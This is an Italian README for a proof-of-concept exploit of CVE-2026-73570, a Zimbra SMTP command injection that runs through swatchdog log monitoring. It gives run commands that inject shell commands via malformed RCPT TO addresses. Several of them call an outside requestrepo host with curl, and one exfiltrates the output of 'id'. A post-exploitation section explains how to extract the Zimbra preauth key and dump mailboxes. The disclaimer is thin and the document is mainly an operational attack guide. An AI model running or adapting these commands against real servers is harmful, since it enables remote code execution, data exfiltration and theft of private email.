
PoC in Python per CVE-2026-73570, un'iniezione di comandi SMTP in Zimbra. Invia payload RCPT TO malformati per attivare l'esecuzione di comandi shell tramite swatchdog, con scansione automatica delle porte e verifica OOB.
Uno script Python proof-of-concept (PoC) personalizzato e di basso livello per testare le vulnerabilità di iniezione di comandi SMTP (CVE-2026-73570).
Questo strumento invia un indirizzo RCPT TO malformato contenente una sostituzione di comando in stile shell (ad es., $(comando)) per determinare se il server di posta di destinazione o la sua pipeline di elaborazione a valle passa impropriamente l'indirizzo attraverso una shell senza sanificazione.
⚠️ DISCLAIMER: Questo strumento è destinato esclusivamente a scopi educativi e test di sicurezza autorizzati. Assicurati di avere il permesso esplicito di testare l'infrastruttura di destinazione. La scansione o lo sfruttamento non autorizzato dei server di posta è illegale.
Non tutti i server Zimbra sono vulnerabili. Tutte queste condizioni devono essere vere:
zimbra-snmp è installato (spesso richiesto durante l'installazione).snmp_notify).swatchdog è in esecuzione (attivo per impostazione predefinita).Superficie di attacco: L'attacco non richiede che SNMP (UDP/161/162) sia esposto all'attaccante. L'input dannoso arriva tramite SMTP standard.
Il processo swatchdog monitora /var/log/zimbra.log utilizzando la configurazione da /opt/zimbra/conf/swatchrc.in. Abbina attivamente le voci di log utilizzando le seguenti espressioni regolari:
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
Il gruppo di acquisizione (.*) viene trattato come un nome di servizio. Lo script dosnmp interpola quindi quel testo acquisito direttamente in un comando Perl backtick snmptrap. Poiché i backtick Perl vengono eseguiti tramite la shell di sistema, qualsiasi metacarattere di shell acquisito in (.*) viene valutato ed eseguito.
Gli attaccanti inseriscono il testo dannoso nel log inviando un comando SMTP (come RCPT TO) il cui argomento assomiglia a una vera riga di stato del servizio. Postfix registra questo come sintassi dell'indirizzo illegale, ma swatchdog corrisponde comunque all'espressione regolare nella riga di log e passa il payload alla shell.
smtplib standard di Python per inviare payload grezzi non conformi alle RFC esattamente come farebbe un attaccante.--command.argparse per una facile integrazione nei flussi di lavoro di test.Salva lo script in un file chiamato CVE-2026-73570.py (o qualsiasi nome preferisci):
# Esempio: scarica o crea il file
nano CVE-2026-73570.py
Puoi eseguire lo script in diversi modi a seconda del tuo scenario di test.
Se non specifichi una porta, lo script scansionerà le porte 25, 465 e 587, e punterà automaticamente alla prima porta aperta.
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
Se conosci già la porta di destinazione (ad es., 465), puoi saltare la fase di scansione.
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
Se vuoi solo verificare quali porte di posta sono aperte su un target senza inviare il payload.
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| Argomento | Breve | Descrizione | Predefinito |
|---|---|---|---|
--host | -H | IP o dominio del host di destinazione. | 127.0.0.1 |
--port | -p | Porta di destinazione. Se omessa, scansiona 25, 465, 587 e punta a una aperta. | None (Auto) |
--command | -c | Comando shell da iniettare nel payload SMTP. | TEST_PAYLOAD |
--scan-only | -s | Scansiona solo le porte ed esce senza inviare il payload di iniezione. | False |
Eseguire lo script da solo dimostra solo che il server di posta riceve l'indirizzo RCPT TO malformato. Per confermare l'effettiva iniezione di comandi senza bisogno di accesso diretto al filesystem o ai log del target, utilizza un callback Out-Of-Band (OOB) tramite HTTP.
http://xyz123.requestrepo.com).curl per colpire il tuo URL univoco:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
Suggerimento (Esfiltrazione di Dati): Puoi esfiltrare l'output dei comandi iniettandolo nel percorso URL del tuo callback:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
Controlla la dashboard di Request Repo per vedere l'output uid=0(root) nel percorso richiesto.
Durante i test, potresti ricevere una risposta SMTP come questa:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
NON presumere che la vulnerabilità sia fallita semplicemente perché l'indirizzo è stato rifiutato.
Molti server di posta (come Postfix o Exim) accetteranno sintatticamente il payload durante la transazione SMTP, ma rifiuteranno immediatamente il tentativo di consegna perché il dominio/destinatario non è nella loro lista di relay consentiti.
La vulnerabilità CVE-2026-73570 si attiva dopo che questo rifiuto si verifica. La stringa dannosa fluisce in /var/log/zimbra.log come voce di log di sintassi dell'indirizzo illegale. swatchdog monitora questo log, corrisponde al payload e lo passa alla shell.
Poiché il payload raggiunge comunque questi sistemi backend per la registrazione, la sostituzione di comando ($()) viene comunque eseguita. Affidati sempre al tuo callback OOB (ad es., Request Repo) per verificare il successo, indipendentemente dal codice di risposta SMTP.
Una volta ottenuta l'esecuzione dei comandi tramite l'iniezione swatchdog, l'attaccante opera tipicamente come utente zimbra. Da qui, l'obiettivo principale è spesso accedere ai dati delle caselle di posta.
Per facilitare questo passaggio successivo, puoi usare zimbraKing — uno strumento personalizzato progettato per scaricare le caselle di posta Zimbra.
Scenario di Utilizzo:
Durante la tua fase di post-sfruttamento, se riesci a leggere i file di configurazione Zimbra ed estrarre la preAuthKey (solitamente trovata in /opt/zimbra/conf/localconfig.xml sotto la chiave zimbra_preauth_key) o se ottieni credenziali valide dell'account Zimbra, puoi inserirle in zimbraKing.
Lo strumento sfrutta la preAuthKey o le credenziali dell'account per autenticarsi contro l'API SOAP di Zimbra e scaricare sistematicamente il contenuto della casella di posta di destinazione senza bisogno di interagire direttamente con il database o il filesystem sottostante.
smtplib?La smtplib integrata di Python impone rigorosi standard RFC. Se provi a passare un indirizzo contenente ", $, (, e ) tramite smtplib.sendmail(), la libreria o modificherà la stringa per renderla "sicura" o solleverà un'eccezione SMTPRecipientsRefused prima che i dati raggiungano mai la rete. Questo client personalizzato utilizza socket grezzi per garantire la consegna byte per byte del payload di sfruttamento.